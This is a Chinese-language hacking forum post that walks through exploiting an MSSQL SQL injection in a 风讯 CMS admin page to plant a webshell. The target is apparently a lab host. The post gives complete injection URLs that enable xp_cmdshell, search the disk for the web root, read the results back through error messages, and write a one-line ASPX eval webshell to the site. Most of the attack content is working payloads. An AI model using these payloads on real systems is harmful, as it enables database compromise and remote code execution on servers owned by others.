taibeihacker
Moderator
前言
本文主要通過一個案例來演示一下當MSSQL是DBA權限,且不知道路徑的時候如何去獲取WEBSHELL。當然這種方式對站庫分離的無效。我測試的環境是在Win7 64位下,數據庫是SQLServer 2000,IIS版本是7.5,程序是採用風訊的CMS。後台登錄後有多處注入,因為這裡是演示用注入獲取WEBSHELL,因此就不考慮後台上傳的情況了,只是用注入來實現。
过程
首先找到一個如下的注入點:http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1' and 1=user;--
通過SQLMAP可以查看到是DBA權限


創建臨時表
http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';CREATE TABLE tt_tmp (tmp1 varchar(8000));--
在WINDOWS下查找文件用如下命令:

for /r 目錄名:\ %i in (匹配模式) do @echo %i
例如在C盤下搜索NewsList.aspx,可以使用for /r c:\ %i in (Newslist*.aspx) do @echo %i或者for /r c:\ %i in (Newslist.aspx*) do @echo %i
使用for /r c:\ %i in (Newslist*.aspx) do @echo %i的搜索結果

一定要在匹配模式裡面加上一個*號,不然搜索出來的是全部的目錄,後面拼接了你搜索的內容。
使用for /r c:\ %i in (Newslist.aspx) do @echo %i的搜索結果

用xp_cmdshell執行查找文件的命令,並將搜索的結果插入到臨時表中
http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';insert into tt_tmp(tmp1) exec master.xp_cmdshell 'for /r c:\ %i in (Newslist*.aspx) do @echo %i ';--

可以使用如下命令來啟用xp_cmdshell
;EXEC sp_configure 'show advanced options',1;//允許修改高級參數
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打開xp_cmdshell擴展
RECONFIGURE;--

在執行上述搜索和插入過程後,可以使用' and (select(*) from tt_tmp)1頁面返回是否正常來判斷是否有搜索結果。當沒有找到的話,select(*) from tt_tmp的結果為1,否則大於1。如果沒有的話,就換目錄,可以試試其他盤符,如';insert into tt_tmp(tmp1) exec master.xp_cmdshell 'for /r d:\ %i in (Newslist*.aspx) do @echo %i ';--。也可以使用sqlmap來查看條數。
可以用報錯將表內容給顯示出來
http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a

繼續爆
http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('c:\inetpub\wwwroot\manage\news\NewsList.aspx '))and 'a'='a

也可以用sqlmap直接將表中數據讀取出來

然後根據導出結果的路徑來判斷是否可能為WEB目錄。然後寫入一個測試文件,看是否可以訪問來進一步證實結果。
這裡在根目錄寫了一個txt文件,寫別的目錄怕因為沒有權限而無法訪問。
http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master.xp_cmdshell 'echo test c:\\WWW\\2333.txt';--

然後訪問http://192.168.232.138:81/2333.txt
成功訪問,然後就是寫一句話
http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master.xp_cmdshell 'echo ^%@ Page Language='Jscript'%^^%eval(Request.Item['pass'],'unsafe');%^ c:\\WWW\\233.aspx' ;--
DOS命令將文件寫入文本中時,遇到應在前面加上^。成功寫入。然後就是進一步的操作了,這裡就不概述了。

总结:
這裡一共有三個小的知識點:1.sa用戶如何開啟xp_cmdshell
EXEC sp_configure 'show advanced options',1;//允許修改高級參數
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打開xp_cmdshell擴展
RECONFIGURE;
2.Windows下利用dos如何搜索文件
for /r c:\ %i in (Newslist*.aspx) do @echo %i
for /r c:\ %i in (Newslist.aspx*) do @echo %i
3.dos命令下寫文件遇到如何處理
echo ^^ 123.txt
参考:
[1]Windows命令行(cmd)下快速查找文件(類似Linux下find命令)[2]技術分享:MSSQL注入xp_cmdshell